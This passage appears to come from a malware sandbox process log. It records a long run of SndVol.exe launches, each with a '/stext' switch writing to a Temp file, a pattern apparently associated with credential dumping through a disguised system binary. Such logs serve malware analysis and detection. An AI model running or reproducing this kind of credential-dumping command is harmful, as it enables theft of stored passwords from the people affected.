C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2764

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2624

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2684

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2616

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2580

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2472

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2468

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2532

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2512

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2524

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2076

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2544

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2488

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2276

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:536

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:604

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2964

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:268

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:720

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2572

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1332

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:860

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2252

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2376

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1792

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2992

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3000

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2988

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1804

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2160

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2036

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2064

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1096

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1676

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1736

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2220

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2344

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1212

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1680

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2368

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2392

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2348

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:676

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1628

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:816

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1232

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2400

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1556

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1500

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1648

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1408

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:844

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:956

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1516

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1812

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1632

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1532

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1284

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1640

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1904

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1620

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2352

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1148

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2068

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1796

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2432

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2724

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2556

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2732

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2164

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1352

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1076

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2568

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1344

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2212

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1016

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1652

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1844

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2192

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2316

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2416

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2436

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1892

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1888

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2928

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2324

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1788

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:980

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2244

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2204

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2236

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1508

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2264

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2516

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2272

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2660

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2916

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1940

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3084

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3092

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3100

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3108

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3116

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3124

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3132

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3140

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3148

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3156

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3164

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3172

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3180

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3188

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3196

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3204

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3212

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3220

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3228

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3236

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3244

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3252

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3260

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3268

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3276

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3284

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3292

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3308

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3316

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3324

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3332

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3340

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3348

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3356

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3364

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3372

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3380

C:\Windows\SysWOW64\SndVol.exe
